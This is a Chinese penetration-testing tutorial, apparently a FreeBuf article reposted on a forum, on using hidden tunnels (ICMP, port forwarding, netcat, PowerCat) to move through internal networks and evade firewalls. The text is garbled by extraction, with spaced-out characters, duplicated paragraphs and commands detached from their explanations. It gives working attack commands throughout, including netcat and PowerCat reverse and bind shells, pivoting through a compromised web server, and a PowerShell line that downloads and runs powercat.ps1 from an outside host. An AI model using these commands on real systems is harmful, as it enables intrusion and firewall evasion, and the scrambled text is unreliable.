搜索

[15562] 2020-07-03_内网渗透测试研究：隐藏通讯隧道技术

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2020-07-03_内网渗透测试研究：隐藏通讯隧道技术 内 网 渗 透 测 试 研 究 ： 隐 藏 通 讯 隧 道 技 术 M r A n o n y m o u s   F r e e B u f   2 0 2 0 - 0 7 - 0 3 在 实 际 的 网 络 中 ， 通 常 会 通 过 各 种 边 界 设 备 、 软 在 实 际 的 网 络 中 ， 通 常 会 通 过 各 种 边 界 设 备 、 软 / 硬 件 防 火 墙 甚 至 入 侵 检 测 系 统 来 检 查 对 外 连 接 情 况 ， 如 果 发 现 异 样 ， 就 会 对 通 信 进 行 阻 断 。 那 么 什 么 是 隧 道 呢 ？ 这 里 的 隧 道 ， 硬 件 防 火 墙 甚 至 入 侵 检 测 系 统 来 检 查 对 外 连 接 情 况 ， 如 果 发 现 异 样 ， 就 会 对 通 信 进 行 阻 断 。 那 么 什 么 是 隧 道 呢 ？ 这 里 的 隧 道 ， 就 是 一 种 绕 过 端 口 屏 蔽 的 通 信 方 式 。 防 火 墙 两 端 的 数 据 包 通 过 防 火 墙 所 允 许 的 数 据 包 类 型 或 端 口 进 行 封 装 ， 然 后 穿 过 防 火 墙 ， 与 对 方 进 行 通 信 。 当 封 装 的 数 据 包 到 达 目 的 地 就 是 一 种 绕 过 端 口 屏 蔽 的 通 信 方 式 。 防 火 墙 两 端 的 数 据 包 通 过 防 火 墙 所 允 许 的 数 据 包 类 型 或 端 口 进 行 封 装 ， 然 后 穿 过 防 火 墙 ， 与 对 方 进 行 通 信 。 当 封 装 的 数 据 包 到 达 目 的 地 时 ， 将 数 据 包 还 原 ， 并 将 还 原 后 的 数 据 包 发 送 到 相 应 服 务 器 上 。 时 ， 将 数 据 包 还 原 ， 并 将 还 原 后 的 数 据 包 发 送 到 相 应 服 务 器 上 。 常 用 的 隧 道 技 术 有 以 下 三 种 ： 网 络 层 ： I P v 6   隧 道 、 I C M P   隧 道 传 输 层 ： T C P   隧 道 、 U D P   隧 道 、 常 规 端 口 转 发 应 用 层 ： S S H   隧 道 、 H T T P / S   隧 道 、 D N S   隧 道 先 判 断 内 网 连 通 性 先 判 断 内 网 连 通 性 判 断 内 网 的 连 通 性 是 指 判 断 机 器 能 否 上 外 网 等 。 （ 综 合 判 断 各 种 协 议 ） 各 协 议 的 方 法 如 下 ： 1 .   T C P   协 议 用 “ 瑞 士 j u n d a o ” — — n e t c a t 执 行   n c   命 令 ：   。 2 .   H T T P   协 议 用 “ c u r l ” 工 具 ， 执 行     命 令 。 如 果 远 程 主 机 开 启 了 相 应 的 端 口 ， 且 内 网 可 连 接 外 网 的 话 ， 就 会 输 出 相 应 的 端 口 信 息 。 3 .   C I M P   协 议 用 “ p i n g ” 命 令 ， 执 行     。 4 .   D N S   协 议 检 测 D N S 连 通 性 常 用 的 命 令 是 “ n s l o o k u p ” 和 “ d i g ” 。 n s l o o k u p   是 w i n d o w s 自 带 的 D N S 探 测 命 令 ， 执 行 ： d i g 是 l i n u x 系 统 自 带 的 D N S 探 测 命 令 ， 执 行 ： 网 络 层 隧 道 技 术 网 络 层 隧 道 技 术 I P v 6   隧 道 隧 道 I P v 6   隧 道 技 术 是 指 通 过   I P v 4   隧 道 传 送 I P v 6   数 据 包 文 的 技 术 。 为 了 在   I P v 4   海 洋 中 传 递   I P v 6   信 息 ， 可 以 将   I P v 4   作 为 隧 道 载 体 ， 将   I P v 6   报 文 整 体 封 装 在   I P v 4   数 据 报 文 中 ， 使 用   I P v 6 报 文 能 够 穿 过   I P v 4   海 洋 ， 到 达 另 一 个 I P v 6   小 岛 。 将   I P v 6 封 装 在 I P v 4 中 的 过 程 与 其 他 协 议 封 装 相 似 ： 隧 道 一 端 的 节 点 把 I P v 6 数 据 报 作 为 要 发 送 给 隧 道 另 一 端 节 点 的 I P v 4 包 中 的 净 荷 数 据 ， 这 样 就 产 生 了 包 含 I P v 6 数 据 报 的 I P v 4 数 据 报 流 。 如 果 节 点 A 和 节 点 B 都 是 只 支 持 I P v 6 的 节 点 ， 节 点 A 要 向 B 发 送 包 ， A 只 是 简 单 地 把 I P v 6 头 的 目 的 地 址 设 为 B 的 I P v 6 地 址 ， 然 后 传 递 给 路 由 器 X ； X 对 I P v 6 包 用 I P v 4 进 行 封 装 ， 然 后 将 I P v 4 头 的 目 的 地 址 设 为 路 由 器 Y 的 I P v 4 地 址 ； 若 路 由 器 Y 收 到 此 I P v 4 包 ， 则 首 先 拆 包 ， 如 果 发 现 被 封 装 的 I P v 6 包 是 发 给 节 点 B 的 ， Y 就 将 此 包 正 确 地 转 发 给 B 。 因 为 现 阶 段 的 边 界 设 备 、 防 火 墙 甚 至 入 侵 防 御 系 统   还 无 法 识 别   I P v 6   的 通 信 数 据 ， 而 大 多 数 的 操 作 系 统 支 持   I P v 6   ， 所 以 需 要 进 行 人 工 配 置 。 n c   < I P >   < 端 口 > c u r l   < I P 地 址 : 端 口 > p i n g   < I P 地 址 / 域 名 > n s l o o k u p   w w w . b a i d u . c o m   v p s - i p   n s l o o k u p   w w w . b a i d u . c o m           / /   不 指 定 服 务 器 ， 则 使 用 默 认 的 D N S 服 务 器   d i g   @ v p s - i p   w w w . b a i d u . c o m   d i g   w w w . b a i d u . c o m                     / /   不 指 定 服 务 器 ， 则 使 用 默 认 的 D N S 服 务 器
攻 击 者 有 时 会 通 过 恶 意 软 件 来 配 置 允 许 进 行   I P v 6   通 信 的 设 备 ， 以 避 开 防 火 墙 和 入 侵 检 测 系 统 。 配 置 隧 道 和 自 动 隧 道 配 置 隧 道 和 自 动 隧 道 的 主 要 区 别 在 于 ： 只 有 执 行 隧 道 功 能 的 节 点 的 I P v 6 地 址 是 I P v 4 兼 容 地 址 时 ， 自 动 隧 道 才 是 可 行 的 。 在 为 执 行 隧 道 功 能 的 节 点 建 立 I P 地 址 时 ， 自 动 隧 道 方 法 无 需 进 行 配 置 ； 而 配 置 隧 道 方 法 则 要 求 隧 道 末 端 节 点 使 用 其 他 机 制 来 获 得 其 I P v 4 地 址 ， 例 如 采 用 D H C P 、 人 工 配 置 或 其 他 I P v 4 的 配 置 机 制 。 支 持   I P v 6   的 隧 道 工 具 有   s o c a t 、 6 t u n n e l 、 n t 6 t u n n e l   等 。 I C M P   隧 道 隧 道 在   I C M P   通 信 协 议 中 ， 通 信 双 方 的 两 台 设 备 不 需 要 开 放 端 口 即 可 进 行 ， 而 在 一 般 的 通 信 协 议 中 ， 是 必 须 要 开 放 端 口 的 。 最 常 见 的   I C M P   协 议 的 消 息 为   p i n g   命 令 的 回 复 ， 攻 击 者 可 以 利 用 命 令 行 得 到 比 回 复 更 多 的   I C M P   请 求 。 在 一 些 网 络 环 境 中 ， 如 果 攻 击 者 使 用 各 类 上 层 隧 道 （ 例 如 H T T P 隧 道 、 D N S 隧 道 、 常 规 端 口 转 发 等 ） 进 行 的 操 作 都 失 败 了 ， 由 于 防 火 墙 不 会 屏 蔽 p i n g 数 据 包 ， 所 以 常 常 会 通 过 p i n g 命 令 访 问 远 程 主 机 ， 尝 试 建 立 I C M P 隧 道 ， 将 T C P / U D P 数 据 封 装 到 I C M P 的 p i n g 数 据 包 中 ， 从 而 穿 过 防 火 墙 ， 实 现 不 受 限 制 的 网 络 访 问 。 一 下 介 绍 常 用 的 I C M P 隧 道 工 具 。 i c m p s h i c m p s h   工 具 是 一 个 简 单 的 I C M P 反 弹 s h e l l 工 具 。 可 以 跨 平 台 ， 且 运 行 时 无 需 管 理 员 权 限 。 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / i n q u i s b / i c m p s h 运 行 需 要 安 装 P y t h o n 的 i m p a c k e t 类 库 ， 以 便 对 t c p 、 u d p 、 i c m p 、 i g m p 、 a r p 、 i p v 4 、 i p v 6 、 s m b 、 等 进 行 访 问 。 i c m p s h   运 行 时 因 为 要 代 替 系 统 本 身 的 p i n g 命 令 的 应 答 程 序 ， 所 以 需 要 先 执 行 以 下 命 令 关 闭 本 地 系 统 的 I C M P 应 答 ， 否 则 获 得 的 s h e l l 不 稳 定 ： 实 战 ：   s y s c t l   - w   n e t . i p v 4 . i c m p _ e c h o _ i g n o r e _ a l l = 1         / /   恢 复 设 为 0
攻 击 者 v p s 模 拟 公 网 I P ： 1 9 2 . 1 6 8 . 1 . 1 0 1 受 害 者 模 拟 公 网 I P ： 1 9 2 . 1 6 8 . 1 . 1 0 0 攻 击 者 s e r v e r 端 在 项 目 目 录 下 输 入 ： 或 输 入 运 行 程 序 ， 之 后 提 醒 你 输 入 受 害 者 公 网 i p ， 会 给 出 你 在 受 害 者 主 机 上 执 行 的 命 令 。 给 受 害 者 主 机 上 传 i c m p s h . e x e 并 执 行 命 令 ： 即 可 在 攻 击 机 上 看 到 受 害 者 的 s h e l l ： i m c p s h . e x e 参 数 ： 在 实 际 渗 透 测 试 中 ， 我 们 如 何 知 道 受 害 机 的 公 网 i p 呢 ， 严 格 说 这 个 i p 应 该 是 s e r v e r 端 看 到 的 i p ， 为 了 得 到 这 个 i p 可 以 从 内 网 终 端 p i n g 这 个 v p s ， 在 v p s 中 用 或 命 令 监 听 并 获 取 这 个 i p ， 然 后 填 写 。 P i n g t u n n e l P i n g t u n n e l 也 是 一 个 常 用 的 I C M P 隧 道 工 具 ， 可 以 跨 平 台 ， 4 . 在 使 用 时 可 以 给 隧 道 设 置 密 码 ， 从 而 防 止 隧 道 被 滥 用 。 下 载 地 址 ： h t t p : / / f r e s h m e a t . s o u r c e f o r g e . n e t / p r o j e c t s / p t u n n e l / 下 面 我 们 做 一 个 测 试 。 测 试 环 境 如 下 ： 假 设 我 们 已 经 获 得 了 w e b 服 务 器 的 权 限 ， 继 续 向 内 网 中 渗 透 ， 但 是 攻 击 者 无 法 访 问 到 位 于 内 网 的 数 据 库 服 务 器 （ 1 9 2 . 1 6 8 . 5 2 . 1 4 3 ） 。 w e b 服 务 器 也 无 法 直 接 访 问 数 据 库 服 务 器 ， 但 是 可 以 通 过 p i n g 命 令 访 问 数 据 库 服 务 器 。 那 么 我 们 就 可 以 以 w e b 服 务 器 为 跳 板 ， 建 立 I C M P 隧 道 对 内 网 继 续 渗 透 。 先 在 受 害 w e b 服 务 器 上 面 上 传 p t u n n e l 程 序 并 执 行 ： 攻 击 者 v p s 上 面 执 行 ：   p y t h o n   i c m p s h _ m . p y   1 9 2 . 1 6 8 . 1 . 1 0 1   1 9 2 . 1 6 8 . 1 . 1 0 0     p y t h o n   i c m p s h _ m . p y   攻 击 者 i p   受 害 者 i p . / r u n . s h   i c m p s h . e x e   - t   1 9 2 . 1 6 8 . 1 . 1 0 1   - d   5 0 0   - b   3 0   - s   1 2 8   - t     h o s t 主 机 i p 地 址 ， 用 于 向 其 发 送 p i n g 请 求 。 此 选 项 是 强 制 性 的 ！ - r     发 送 包 含 字 符 串 的 单 个 测 试 i c m p 请 求 ， 然 后 退 出 。 这 是 用 于 测 试 连 接 的 。 - d     毫 秒 请 求 之 间 的 延 迟 （ 以 毫 秒 为 单 位 ）   - o     毫 秒 响 应 超 时 （ 以 毫 秒 为 单 位 ） 。 如 果 未 及 时 收 到 回 复 ，                                           从 站 将 增 加 一 个 空 白 计 数 器 。 如 果 该 计 数 器 达 到 极 限 ， 则 从 站 将 退 出 。 如 果 收 到 响 应 ， 则 计 数 器 设 置 回 0 。 - b     空 格 数 限 制 （ 退 出 前 未 答 复 的 i c m p 请 求   - s     字 节 最 大 数 据 缓 冲 区 大 小 （ 以 字 节 为 单 位 ） t c p d u m p   i c m p t c p d u m p   - i   e t h 0   i c m p   攻 击 者 v p s           模 拟 公 网 I P ： 1 9 2 . 1 6 8 . 1 . 1 0 1   W e b 服 务 器           模 拟 公 网 I P ： 1 9 2 . 1 6 8 . 1 . 1 0 3           内 网 I P ： 1 9 2 . 1 6 8 . 5 2 . 1 2 8   数 据 库 服 务 器           内 网 I P ： 1 9 2 . 1 6 8 . 5 2 . 1 4 3   p t u n n e l   - x   w h o a m i
上 述 命 令 的 含 义 是 ： 在 访 问 攻 击 者 v p s （ 1 9 2 . 1 6 8 . 1 . 1 0 1 ） 的 1 0 8 0 端 口 时 ， 会 把 数 据 库 服 务 器 （ 1 9 2 . 1 6 8 . 5 2 . 1 4 3 ） 的 3 3 8 9 端 口 的 数 据 封 装 在 I C M P 隧 道 里 ， 以 W e b 服 务 器 1 9 2 . 1 6 8 . 1 . 1 0 3 为 I C M P 隧 道 跳 板 进 行 传 送 。 整 个 过 程 中 W e b 服 务 器 是 一 个 边 界 服 务 器 ， 作 为 一 个 跳 板 进 行 数 据 转 发 。 最 后 在 攻 击 者 v p s 上 面 访 问 其 本 地 1 0 8 0 端 口 即 可 与 数 据 库 服 务 器 的 3 3 8 9 端 口 建 立 连 接 ： p t u n n e l 的 参 数 ： 也 可 以 使 用 I C M P 隧 道 访 问 数 据 库 服 务 器 1 9 2 . 1 6 8 . 5 2 . 1 4 3 的 2 2 端 口 ， 建 立 s s h 连 接 。 v p s 输 入 以 下 命 令 ： 即 可 用 以 下 命 令 建 立 与 内 网 数 据 库 服 务 器 的 s s h 连 接 ： 同 样 可 以 将 内 网 目 标 服 务 器 的 w e b 服 务 8 0 端 口 转 发 到 攻 击 者 本 地 ： 攻 击 者 用 浏 览 器 访 问 v p s 的 8 0 0 0 端 口 即 可 。 传 输 层 隧 道 技 术 传 输 层 隧 道 技 术 在 渗 透 测 试 中 ， 如 果 内 网 的 防 火 墙 阻 止 了 对 指 定 端 口 的 访 问 ， 在 获 取 了 目 标 机 器 的 权 限 后 ， 可 以 使 用 防 火 墙 命 令 打 开 指 定 的 端 口 或 关 闭 防 火 墙 。 如 果 内 网 中 存 在 一 系 列 防 御 系 统 ， T C P 、 U D P   流 量 会 被 大 量 拦 截 。 l c x 端 口 转 发 端 口 转 发 l c x 是 一 个 很 经 典 的 端 口 转 发 工 具 ， 其 基 于 S o c k e t 套 接 字 ， 有 W i n d o w s 和 L i n u x 两 个 版 本 。 W i n d o w s 的 为 l c x . e x e ， L i n u x 的 为 p o r t m a p 。 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / M r A n o n y m o u s - 1 / l c x 一 个 正 常 的 s o c k e t 套 接 字 必 须 具 备 两 端 ： 一 端 是 服 务 器 ， 监 听 一 个 端 口 ， 等 待 客 户 端 连 接 ； 另 一 端 为 客 户 端 ， 通 过 给 出 服 务 器 的 I P 和 端 口 ， 与 服 务 端 建 立 连 接 。 内 网 端 口 转 发 在 受 害 机 （ W i n d o w s ） 上 面 执 行 如 下 命 令 ， 将 受 害 机 3 3 8 9 端 口 的 数 据 转 发 到 攻 击 者 公 网 V P S （ W i n d o w s ） 的 8 0 0 0 端 口 上 。   p t u n n e l   - p   1 9 2 . 1 6 8 . 1 . 1 0 3   - l p   1 0 8 0   - d a   1 9 2 . 1 6 8 . 5 2 . 1 4 3   - d p   3 3 8 9   - x   w h o a m i   - x :   指 定 I C M P 隧 道 连 接 的 密 码   - l p :   指 定 攻 击 者 要 监 听 的 本 地 T C P 端 口   - d a :   指 定 要 转 发 的 第 三 方 目 标 机 器 的 I P 地 址   - d p :   指 定 要 转 发 的 第 三 方 目 标 的 T C P 端 口   - p :   指 定 I C M P 隧 道 另 一 端 的 机 器 的 I P 地 址   p t u n n e l   - p   1 9 2 . 1 6 8 . 1 . 1 0 3   - l p   1 0 8 0   - d a   1 9 2 . 1 6 8 . 5 2 . 1 4 3   - d p   2 2   - x   w h o a m i   s s h   a d m i n i s t r a t o r @ 1 2 7 . 0 . 0 . 1   - p   1 0 8 0 p t u n n e l   - p   1 9 2 . 1 6 8 . 1 . 1 0 3   - l p   8 0 0 0   - d a   1 9 2 . 1 6 8 . 5 2 . 1 4 3   - d p   8 0   - x   w h o a m i   l c x . e x e   - s l a v e   < 攻 击 者 i p >   8 0 0 0   1 2 7 . 0 . 0 . 1   3 3 8 9
在 攻 击 机 上 面 执 行 如 下 命 令 ， 将 本 机 8 0 0 0 端 口 上 监 听 到 的 数 据 转 发 到 本 机 的 4 4 4 4 端 口 上 面 此 时 即 可 登 录 用 远 程 桌 面 登 录 ， 即 可 访 问 受 害 者 的 3 3 8 9 端 口 远 程 桌 面 了 。 L i n u x 系 统 上 面 使 用 p o r t m a p ： 先 在 具 有 公 网 i p 的 攻 击 机 上 执 行 ： 意 思 是 监 听 来 自 2 3 端 口 的 请 求 ， 将 其 转 发 到 2 3 3 3 端 口 这 里 有 一 个 - m 参 数 这 个 参 数 的 解 释 ： 以 哪 种 方 式 来 用 这 个 工 具 ， 然 后 下 面 有 三 个 方 式 1 . 监 听   p o r t 1   端 口 并 且 连 接 h o s t 2 的 p o r t 2 端 口   2 . 监 听 p o r t 1 和 p o r t 2 端 口 。 3 . 连 接 h o s t 1 对 应 的 端 口 和 主 机 2 对 应 的 端 口 受 害 机 ： 意 思 就 是 将 内 网 受 害 主 机 2 2 端 口 的 流 量 转 发 到 公 网 攻 击 机 的 2 3 端 口 。   l c x . e x e   - l i s t e n   8 0 0 0   4 4 4 4 < 攻 击 者 本 地 i p > : 4 4 4 4   . / p o r t m a p   - m   2   - p 1   2 3   - h 2   1 2 7 . 0 . 0 . 1   - p 2   2 3 3 3     . / p o r t m a p   - m   2   - p 1   2 3   - h 2   公 网 主 机 i p   - p 2   2 3 3 3 . / p o r t m a p   - m   3   - h 1   1 2 7 . 0 . 0 . 1   - p 1   2 2   - h 2   3 9 . 1 x x . x x x . 2 x x   - p 2   2 3 . / p o r t m a p   - m   3   - h 1   1 2 7 . 0 . 0 . 1   - p 1   2 2   - h 2   公 网 主 机 i p   - p 2   2 3
接 着 攻 击 者 用 s s h 命 令 本 地 连 接 即 可 ： 本 地 端 口 转 发 如 果 目 标 服 务 器 由 于 防 火 墙 的 限 制 ， 部 分 端 口 （ 例 如 3 3 8 9 、 2 2 ） 的 数 据 无 法 通 过 防 火 墙 ， 我 们 可 以 将 目 标 服 务 器 相 应 端 口 的 数 据 转 发 到 他 的 其 他 防 火 墙 允 许 的 端 口 上 去 。 在 受 害 机 上 面 执 行 以 下 命 令 ， 就 可 以 将 目 标 3 3 8 9 端 口 透 传 到 目 标 机 1 0 8 0 端 口 上 ： n e t c a t — — 瑞 士 瑞 士 j u n d a o 下 载 地 址 ： h t t p s : / / s o u r c e f o r g e . n e t / p r o j e c t s / n e t c a t / f i l e s / n e t c a t / 0 . 7 . 1 / n e t c a t - 0 . 7 . 1 . t a r . g z / d o w n l o a d 利 用 n c 获 取 s h e l l （ 1 ） 正 向 s h e l l 受 害 机 ： 攻 击 机 ： （ 2 ） 反 向 s h e l l 攻 击 者 ： 受 害 者 ： 反 向 s h e l l 通 常 用 在 开 启 了 防 护 措 施 的 目 标 机 器 上 ， 例 如 防 火 墙 过 滤 、 端 口 转 发 等 。 内 网 代 理 l c x . e x e   - t r a n   1 0 8 0   1 2 7 . 0 . 0 . 1   3 3 8 9 n c   - l d p   4 4 4 4   - e   / b i n / s h             / / l i n u x n c   - l d p   4 4 4 4   - e   c : w i n d o w s s y s t e m 3 2 c m d . e x e               / / w i n d o w s n c   1 9 2 . 1 6 8 . 1 . 1 0 2 ( 受 害 者 )   4 4 4 4           / / 主 动 连 接 n c   - l v p   4 4 4 4           / / 开 启 监 听 n c   1 9 2 . 1 6 8 . 1 . 5   4 4 4 4   - e   / b i n / s h             / / l i n u x n c   1 9 2 . 1 6 8 . 1 . 5   4 4 4 4   - e   c : w i n d o w s s y s t e m 3 2 c m d . e x e               / / w i n d o w s
测 试 环 境 如 下 ： 我 们 已 经 获 取 了 w e b 服 务 器 的 权 限 ， 攻 击 者 v p s 无 法 访 问 数 据 库 服 务 器 （ 1 9 2 . 1 6 8 . 5 2 . 1 4 3 ） ， 但 是 通 过 w e b 服 务 器 可 以 访 问 数 据 库 服 务 器 。 我 们 可 以 尝 试 利 用 w e b 服 务 器 做 跳 板 来 获 取 数 据 库 服 务 器 的 s h e l l 。 攻 击 者 先 在 v p s 上 面 监 听 2 3 3 3 端 口 ： 接 着 想 办 法 在 数 据 库 服 务 器 上 面 执 行 以 下 命 令 最 后 在 w e b 服 务 器 上 面 执 行 以 下 命 令 ： 最 后 在 攻 击 机 上 面 获 得 了 数 据 库 服 务 器 的 s h e l l 整 个 过 程 就 是 ： 先 使 w e b 服 务 器 连 上 攻 击 机 ， 在 连 接 上 的 一 瞬 间 再 去 连 接 位 于 内 网 的 数 据 库 服 务 器 ， w e b 服 务 器 是 边 界 服 务 器 ， 只 当 做 通 信 的 中 转 。 P o w e r C a t P o w e r C a t 就 是 p o w e r s h e l l 版 本 的 n c ， 与 n c 使 用 方 法 相 似 ， 且 可 以 上 传 到 目 标 机 本 地 执 行 ， 也 可 以 让 目 标 机 远 程 下 载 后 在 内 存 中 执 行 。 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / b e s i m o r h i n o / p o w e r c a t 将 P o w e r C a t 作 为 跳 板 ： 测 试 环 境 如 下 ： 攻 击 者 v p s         模 拟 公 网 I P ： 1 9 2 . 1 6 8 . 1 . 1 0 1 W e b 服 务 器         模 拟 公 网 I P ： 1 9 2 . 1 6 8 . 1 . 1 0 3         内 网 I P ： 1 9 2 . 1 6 8 . 5 2 . 1 2 8 数 据 库 服 务 器         内 网 I P ： 1 9 2 . 1 6 8 . 5 2 . 1 4 3 n c   - l v p   2 3 3 3 n c   - l d p   3 3 3 3   - e   c : w i n d o w s s y s t e m 3 2 c m d . e x e n c   1 9 2 . 1 6 8 . 1 . 1 0 1   2 3 3 3   - c   " n c   - v   1 9 2 . 1 6 8 . 5 2 . 1 4 3   3 3 3 3 "
W i n d o w s   7   可 以 与 内 网   W i n d o w s   S e r v e r   8   通 信 ， W i n d o w s   7 可 连 通 外 网 ， 攻 击 机 无 法 访 问 内 网 的   W i n d o w s   S e r v e r   8   但 可 以 访 问 W i n d o w s   7 。 假 设 我 们 通 过 渗 透 已 经 拿 到 了 W i n d o w s   7 的 权 限 ， 我 们 可 以 将 W i n d o w s   7 作 为 跳 板 拿 到 内 网   W i n d o w s   S e r v e r   8   的 s h e l l 。 先 想 办 法 在   W i n d o w s   S e r v e r   8 上 面 上 传 p o w e r c a t . p s 1 并 执 行 以 下 p o w e r s h e l l 命 令 接 着 在 W i n d o w s   7   上 面 执 行 以 下 命 令 ： 最 后 在 攻 击 者 主 机 上 面 主 动 连 接 W i n d o w s   7 即 可 在 攻 击 者 主 机 上 获 得 W i n d o w s   S e r v e r   8 的 s h e l l ： 这 里 的 操 作 是 正 向 s h e l l 会 受 到 防 火 墙 的 限 制 而 不 成 功 ， 可 以 使 用 命 令 关 闭 受 害 机 的 防 火 墙 。 反 弹 s h e l l ： 攻 击 机 受 害 机 反 弹 P o w e r S h e l l ： 想 要 反 弹 p o w e r s h e l l 的 话 ， 两 端 必 须 都 用 p o w e r c a t 。 攻 击 机 受 害 机 用 P o w e r C a t 生 成 p a y l o a d 在 攻 击 者 主 机 上 提 前 做 好 相 应 的 配 置 后 ， 将 s h e l l . p s 1 上 传 至 受 害 主 机 用 p o w e r s h e l l 执 行 即 可 。 - g ： 生 成 p a y l o a d - g e ： 生 成 经 过 编 码 的 p a y l o a d ， 可 以 使 用 命 令 来 执 行 本 人 尚 为 正 在 入 门 的 小 白 一 枚 ， 文 中 若 有 不 当 之 处 ， 还 请 各 位 大 佬 多 多 指 点 ， 小 生 还 需 多 向 大 佬 们 学 习 ！ 嘻 嘻 嘻 ！ ！ ！ 参 考 ： h t t p s : / / w w w . f r e e b u f . c o m / a r t i c l e s / w e b / 1 7 0 9 7 0 . h t m l h t t p s : / / b l o g . c s d n . n e t / L T t i a n d d / a r t i c l e / d e t a i l s / 1 0 2 9 0 3 7 2 5 h t t p s : / / w w w . f r e e b u f . c o m / s e c t o o l / 9 6 8 4 . h t m l 《 内 网 安 全 攻 防 ： 渗 透 测 试 实 战 指 南 》 * 本 文 作 者 ： 本 文 作 者 ： M r A n o n y m o u s ， 转 载 请 注 明 来 自 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 攻 击 者 v p s         模 拟 公 网 I P ： 1 9 2 . 1 6 8 . 1 . 1 0 1 W i n d o w s   7         模 拟 公 网 I P ： 1 9 2 . 1 6 8 . 1 . 1 0 2         内 网 I P ： 1 9 2 . 1 6 8 . 5 2 . 1 4 3 W i n d o w s   S e r v e r   8         内 网 I P ： 1 9 2 . 1 6 8 . 5 2 . 1 3 8 p o w e r s h e l l   - E x c u t i o n P o l i c y   b y p a s s   - C o m m a n d   " & { I m p o r t - M o d u l e   C : p o w e r c a t . p s 1 ; p o w e r c a t   - l   - v   - p   9 9 9 9   - e   c : w i n d o w s s y s t e m 3 2 c m d . e x e } " p o w e r s h e l l   - E x c u t i o n P o l i c y   b y p a s s   I E X ( N e w - O b j e c t   N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( " h t t p : / / 3 9 . 1 x x . x x 9 . x x x / p o w e r c a t . p s 1 " ) ; p o w e r c a t   - l   - v   - p   8 0 0 0   - r   t c p : 1 9 2 . 1 6 8 . 5 2 . 1 3 8 : 9 9 9 9 / /   - r : 数 据 转 发 n c   - v v   1 9 2 . 1 6 8 . 1 . 1 0 2   8 0 0 0 n c   - l   - p   8 8 8 8   - v v p o w e r c a t   - c   < 攻 击 者 I P >   - p   < 攻 击 者 端 口 >   - e   C : w i n d o w s s y s t e m 3 2 c m d . e x e p o w e r c a t   - l   - v   - p   4 4 4 4 p o w e r c a t   - c   < 攻 击 者 I P >   - p   < 攻 击 者 端 口 >   - v   - e p / /   - e p :   用 于 反 弹 p o w e r s h e l l 正 向 ： p o w e r c a t   - l   - p   4 4 4 4   - e   c : w i n d o w s s y s t e m 3 2 c m d . e x e   - v   - g   > >   s h e l l . p s 1 反 向 ： p o w e r c a t   - c   < 攻 击 者 I P >   < 攻 击 者 端 口 >   - v   - e   c : w i n d o w s s y s t e m 3 2 c m d . e x e   - g   > >   s h e l l . p s 1 p o w e r s h e l l   - e / - E n c o d e d C o m m a n d   < 编 码 的 代 码 >
  精 彩 推 荐 精 彩 推 荐 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理